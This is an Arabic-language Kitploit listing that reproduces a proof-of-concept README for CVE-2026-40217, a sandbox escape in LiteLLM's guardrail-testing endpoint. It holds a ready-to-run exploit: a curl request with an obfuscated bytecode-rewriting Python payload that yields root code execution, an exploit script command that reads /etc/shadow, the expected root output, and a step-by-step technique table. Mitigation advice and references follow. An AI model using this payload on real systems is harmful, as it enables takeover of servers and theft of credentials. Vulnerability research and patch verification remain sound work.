Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40217-PoC — الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة بنفسك | Kitploit
أدوات/GitHubGitHub/learner202649/cve-2026-40217-poc
أمن الحاوياتتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة بنفسك

عرض المستودع
4منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-40217 — تجاوز الحماية المعزولة (Sandbox) في LiteLLM

LiteLLM POST /guardrails/test_custom_code — تجاوز الحماية المعزولة (Sandbox) يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) بصلاحيات root (الجذر) في النشر الافتراضي عبر Docker.

الحقلالقيمة
CVECVE-2026-40217
CVSS8.8 (مرتفع) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (تحكم غير سليم في موارد التعليمات البرمجية المُدارة ديناميكيًا) / CWE-94
المتأثرLiteLLM ≤ 2026-04-08 (قبل الإصدار v1.83.11)
الإصلاحv1.83.11+ (استبدال الحماية المعزولة المبنية يدويًا بـ RestrictedPython)
المكتشفMarkus Vervier — X41 D-Sec GmbH
تاريخ النشر2026-04-08
الرابطنشرة X41 • GHSA-wxxx-gvqv-xp7p • oss-security

الوصف

تسمح نقطة النهاية POST /guardrails/test_custom_code في LiteLLM للمستخدمين المُصادَق عليهم بإرسال تعليمات Python برمجية عشوائية لاختبار الحواجز الأمنية (guardrails). تحاول نقطة النهاية تقييد العمليات الخطيرة باستخدام تصفية كود المصدر المستندة إلى التعبيرات النمطية (regex)، لكن يمكن تجاوز ذلك تمامًا باستخدام تقنيات إعادة كتابة البايت كود (bytecode) في CPython، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية في عملية الوكيل (proxy). في صورة Docker الافتراضية، تعمل عملية الوكيل بصلاحيات root (الجذر)، مما يزيد من خطورة التأثير.


إثبات المفهوم (PoC)

المتطلبات الأساسية

root@kitploit:~
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt

بدء سريع (Docker)

⚠️ مهم: يثبّت ملف docker-compose.yml الصورة القابلة للاستغلال على بصمة رقمية (digest) محددة (sha256:7c311546...) بتاريخ 22 مارس 2026. لا تغيّر الوسم (tag) إلى main-latest أو أي إصدار أحدث — فقد تحتوي الصور اللاحقة بالفعل على الإصلاح (RestrictedPython) حتى لو كان رقم الإصدار يوحي بغير ذلك (على سبيل المثال، أُعيد بناء v1.83.10-stable بعد التصحيح وهو ليس قابلًا للاستغلال).

root@kitploit:~
# 1. Install dependencies (if not already done)
pip install -r requirements.txt

# 2. Start a vulnerable LiteLLM instance
docker compose up -d

# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Or using curl directly
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

النتيجة المتوقعة

root@kitploit:~
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

تقنية تجاوز الحماية المعزولة (6 خطوات)


هيكل المستودع

root@kitploit:~
CVE-2026-40217/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Bytecode payload module
├── docs/
│   └── advisory.md            # Translated advisory details
└── screenshots/               # Proof screenshots

التخفيف (Mitigation)

  1. قم بترقية LiteLLM إلى v1.83.11+ (يستخدم RestrictedPython بدلاً من الحماية المعزولة المبنية يدويًا)
  2. احظر /guardrails/test_custom_code على مستوى الوكيل العكسي (reverse proxy) / بوابة API
  3. قيّد المفتاح الرئيسي (master key) على المسؤولين الموثوقين فقط
  4. شغّل بصلاحيات غير root (غير الجذر) في Docker: docker run --user 1000:1000 ...
  5. لا تعرض واجهة الإدارة للشبكات غير الموثوقة

المراجع

  • نشرة X41 D-SEC Advisory x41-2026-001
  • نشرة GitHub Advisory GHSA-wxxx-gvqv-xp7p
  • نشرة GitLab Advisory
  • إفصاح oss-security
  • تفاصيل NVD

إخلاء مسؤولية: يُقدَّم هذا المحتوى لأغراض تعليمية وللاختبارات الأمنية المصرّح بها فقط.

تنزيل الأداة
الخطوةالتقنيةالكود
1تجاوز التعبيرات النمطية (Regex) عبر ربط السلاسل النصية"_"+"_gl"+"ob"+"als"+"_"+"_"
2الحصول على كلاس object عبر str.mro()[1]obj = str.mro()[1]
3الوصول إلى كائن الكود الخاص بالمولّد (generator) عبر gi_codec = g(None).gi_code
4استبدال __code__ الخاص بالدالة عبر object.__setattr__obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5استخراج __builtins__ الحقيقية من http_get.__globals__imp = gd["__builtins__"]["__import__"]
6تحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) عبر os.popenimp("os").popen("id").read()